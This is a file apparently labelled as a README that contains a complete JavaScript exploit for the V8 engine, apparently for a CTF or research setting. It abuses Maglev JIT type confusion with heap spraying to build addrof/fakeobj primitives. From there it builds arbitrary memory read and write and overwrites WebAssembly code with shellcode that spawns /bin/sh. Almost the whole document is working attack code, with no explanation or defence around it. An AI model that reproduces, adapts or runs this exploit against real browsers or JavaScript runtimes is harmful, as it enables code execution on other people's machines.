README.md
Rendering markdown...
const buf = new ArrayBuffer(8);
const f64 = new Float64Array(buf);
const u64 = new BigUint64Array(buf);
function itof(x) {
u64[0] = BigInt.asUintN(64, x);
return f64[0];
}
function ftoi(x) {
f64[0] = x;
return u64[0];
}
function hex(x) {
return "0x" + x.toString(16);
}
const MAX_SMI = 0x3fffffff;
const WARMUP_ITERS = 1200;
const MAX_ATTEMPTS = 2;
const SPRAY_ROUNDS = 1500;
const SPRAY_COUNT = 50;
const PRE_PADS = 0;
const POST_PADS = 16;
const SPRAY_ARRAY_LEN = 16;
const QWORD1_BITS = 0x0000000401022bd5n;
const BOOTSTRAP_QWORD0 = 4.2885618090673e-311;
const BOOTSTRAP_QWORD1 = itof(QWORD1_BITS);
const EMPTY_FIXED_ARRAY = 0x000007e5n;
const PACKED_DOUBLE_ARRAY_MAP = 0x0100d0d5n;
const FAKE_DOUBLE_ARRAY_LENGTH_SMI = 0x20n;
const BACKING_ELEMENTS = (QWORD1_BITS & 0xffffffffn) - 0x10n;
const BACKING_PAYLOAD = BACKING_ELEMENTS + 0x7n;
const FAKE_DOUBLE_ARRAY_ADDR = BACKING_PAYLOAD + 0x1n;
function sleep(ms) {
const sab = new SharedArrayBuffer(4);
const view = new Int32Array(sab);
Atomics.wait(view, 0, 0, ms);
}
function blah(o, a, b, x) {
let y;
if (a) {
y = x + 1;
} else {
y = 1;
}
const t = y | 0;
let z;
if (b) {
z = y;
} else {
z = 1;
}
o.x = z;
return t;
}
function make_arr() {
const arr = []
for (let i = 0; i < SPRAY_ARRAY_LEN; i++) {
const useHeaderQword = (i % 2) === 0
arr.push(useHeaderQword ? BOOTSTRAP_QWORD0 : BOOTSTRAP_QWORD1)
}
return arr
}
function spray() {
for (let round = 0; round < SPRAY_ROUNDS; round++) {
const tmp = []
for (let i = 0; i < SPRAY_COUNT; i++) {
tmp.push(make_arr())
}
}
}
const obj = { x: 1 }
const warmup = { x: 1 }
const backing = [13.371337, 37.1337, 73.7331, 31.3373]
const pads = []
for (let i = 0; i < PRE_PADS; i++) {
pads.push({ x: 1 })
}
for (let i = 0; i < 4; i++) {
gc()
}
// warmup. maglev should optimize it for smi
for (let i = 0; i < WARMUP_ITERS; i++) {
blah(warmup, true, true, i & 1023);
blah(warmup, false, true, i & 1023);
blah(warmup, true, false, i & 1023);
}
sleep(20)
function runExploit() {
for (let i = 0; i < PRE_PADS; i++) {
blah(pads[i], true, true, MAX_SMI)
pads[i].x = 1
}
blah(obj, true, true, MAX_SMI)
for (let i = 0; i < POST_PADS; i++) {
let tail = { x: 1 }
blah(tail, true, true, MAX_SMI)
tail.x = 1
tail = null
}
gc({ type: "minor" });
spray() // mega spray to fill the heap and get the right allocation
// aumento reliablility con i controlli, non dovrebbe crashare
const tag = typeof obj.x
if (tag !== "object") {
print("typeof obj.x =", tag)
quit(1)
}
const fake = obj.x;
if (!Array.isArray(fake)) {
print("obj not array rip")
quit(1)
}
const fakeLength = fake.length
if (fakeLength !== 2) {
print("bad fake length =", fakeLength)
quit(1)
}
// primitives!!
function addrof(v) {
backing[2] = 0
fake[0] = v // cio' che metto qui corrisponde a backing[2]
return ftoi(backing[2]) & 0xffffffffn // quindi poi posso leggere l'addr di v
}
function fakeobj(addr) { // l'esatto contrario
backing[2] = itof(addr) // qui metto l'address, e siccome fake[0] interpreta backing[2] come obj
return fake[0] // qui ce l'ho come object
}
const targetA = {marker: 13.37}
const targetB = {marker: 42.42}
const addrA = addrof(targetA)
const addrB = addrof(targetB)
const fakeAOk = fakeobj(addrA) === targetA
const fakeBOk = fakeobj(addrB) === targetB
print("fakelen =", fakeLength)
print("addrof(targetA) = 0x" + addrA.toString(16))
print("addrof(targetB) = 0x" + addrB.toString(16))
print("fakeobj(addrof(targetA)) === targetA:", fakeAOk)
print("fakeobj(addrof(targetB)) === targetB: ", fakeBOk)
if ((addrA !== addrB) && fakeAOk && fakeBOk) {
print("godo")
// js obj memory layout knowledge required from here lol
// fake map e properties/elements for a fake double array
const fakeDoubleHeader = (EMPTY_FIXED_ARRAY << 32n) | PACKED_DOUBLE_ARRAY_MAP
// fake double array inside the controlled backing array
backing[0] = itof(fakeDoubleHeader)
backing[1] = itof((FAKE_DOUBLE_ARRAY_LENGTH_SMI << 32n) | BACKING_ELEMENTS)
const arb = fakeobj(FAKE_DOUBLE_ARRAY_ADDR)
// now arb is the fake arrray. editing elements offset means arb[0] points anywhere I want
function setArbElements(rawAddr) {
backing[1] = itof(
(FAKE_DOUBLE_ARRAY_LENGTH_SMI << 32n) |
((rawAddr - 0x7n) & 0xffffffffn)
)
}
function weakRead64(rawAddr) { // ez arbitrary read. corrupt at elements offset and read raw bytes
setArbElements(rawAddr)
return ftoi(arb[0])
}
function weakWrite64(rawAddr, value) { // ez arbitrary write. same thing but write into it
setArbElements(rawAddr)
arb[0] = itof(value)
}
// testing
const weakSelf = weakRead64(BACKING_PAYLOAD)
print("weak self-read =", hex(weakSelf))
if (weakSelf !== fakeDoubleHeader) {
print("weak r/w setup failed")
quit(1)
}
const weakVictim = [9.9, 8.8]
const weakVictimAddr = addrof(weakVictim)
const weakVictimLayout = weakRead64((weakVictimAddr - 0x1n) + 0x8n)
const weakVictimElements = weakVictimLayout & 0xffffffffn
weakWrite64(weakVictimElements + 0x7n, ftoi(13.37))
print("weak write test =", weakVictim[0])
if (weakVictim[0] !== 13.37) {
print("weak write test failed")
quit(1)
}
// strong r/w. even more knowledge required.
// concept: create your own array buffer fake and r/w from it
const victimBuf = new ArrayBuffer(0x40)
const victimView = new DataView(victimBuf)
victimView.setBigUint64(0, 0x1122334455667788n, true)
victimView.setBigUint64(8, 0x99aabbccddeeff00n, true)
const arbBuf = new ArrayBuffer(0x40)
const arbView = new DataView(arbBuf)
const victimBufAddr = addrof(victimBuf)
const arbBufAddr = addrof(arbBuf)
function getBackingStoreCandidates(arrayBufferAddr) {
const candidates = []
// searching native-looking ahh pointers in the arraybuf
function addCandidate(off) {
const field = (arrayBufferAddr - 0x1n) + off
const value = weakRead64(field)
if (value > 0x10000000000n && (value & 0x7n) === 0n) {
candidates.push([off, field, value])
}
}
addCandidate(0x24n)
for (let off = 0x10n; off <= 0x38n; off += 0x4n) {
if (off !== 0x24n) {
addCandidate(off)
}
}
return candidates
}
const victimBackingCandidates = getBackingStoreCandidates(victimBufAddr)
if (victimBackingCandidates.length === 0) {
print("ArrayBuffer backing_store not found")
quit(1)
}
let strongBackingStoreField = 0n
let strongVictimBackingStore = 0n
// strong r/w by pointing arbBuf's backing store at the target address like before
function strongRead64(addr) {
weakWrite64(strongBackingStoreField, addr)
return arbView.getBigUint64(0, true)
}
function strongWrite64(addr, value) {
weakWrite64(strongBackingStoreField, addr)
arbView.setBigUint64(0, value, true)
}
for (let i = 0; i < victimBackingCandidates.length; i++) {
const candidate = victimBackingCandidates[i]
strongBackingStoreField = (arbBufAddr - 0x1n) + candidate[0]
strongVictimBackingStore = candidate[2]
if (strongRead64(strongVictimBackingStore) !== 0x1122334455667788n) {
continue
}
strongWrite64(strongVictimBackingStore + 0x8n, 0x4142434445464748n)
if (victimView.getBigUint64(8, true) === 0x4142434445464748n) {
break
}
victimView.setBigUint64(8, 0x99aabbccddeeff00n, true)
strongBackingStoreField = 0n
strongVictimBackingStore = 0n
}
if (strongBackingStoreField === 0n) {
print("strong r/w setup failed")
quit(1)
}
const strongReadTest = strongRead64(strongVictimBackingStore)
print("strong read test =", hex(strongReadTest))
if (strongReadTest !== 0x1122334455667788n) {
print("strong read test failed")
quit(1)
}
strongWrite64(strongVictimBackingStore + 0x8n, 0x4142434445464748n)
const strongWriteTest = victimView.getBigUint64(8, true)
print("strong write test =", hex(strongWriteTest))
if (strongWriteTest !== 0x4142434445464748n) {
print("strong write test failed")
quit(1)
}
print("strong r/w ok")
const wasmCode = new Uint8Array([
0, 97, 115, 109, 1, 0, 0, 0,
1, 5, 1, 96, 0, 1, 127,
3, 2, 1, 0,
7, 8, 1, 4, 109, 97, 105, 110, 0, 0,
10, 6, 1, 4, 0, 65, 42, 11
])
const wasmModule = new WebAssembly.Module(wasmCode)
const wasmInstance = new WebAssembly.Instance(wasmModule)
const wasmMain = wasmInstance.exports.main
print("wasm before =", wasmMain())
const wasmInstanceAddr = addrof(wasmInstance)
const trustedDataTagged = weakRead64((wasmInstanceAddr - 0x1n) + 0x8n) >> 32n
const jumpTableStart = weakRead64((trustedDataTagged - 0x1n) + 0x28n)
print("wasm trusted_data =", hex(trustedDataTagged))
print("wasm jump_table_start =", hex(jumpTableStart))
const jumpStub = strongRead64(jumpTableStart)
const jumpRel = (jumpStub >> 8n) & 0xffffffffn
const wasmCodeEntry = jumpTableStart + 0x5n + jumpRel
print("wasm code entry =", hex(wasmCodeEntry))
strongWrite64(wasmCodeEntry + 0x00n, 0xbb48c03148d23148n)
strongWrite64(wasmCodeEntry + 0x08n, 0x0068732f6e69622fn)
strongWrite64(wasmCodeEntry + 0x10n, 0x89485750e7894853n)
strongWrite64(wasmCodeEntry + 0x18n, 0x909090050f3bb0e6n)
print("spawning /bin/sh")
wasmMain()
return true
}
print("rip :(")
quit(1)
}
runExploit()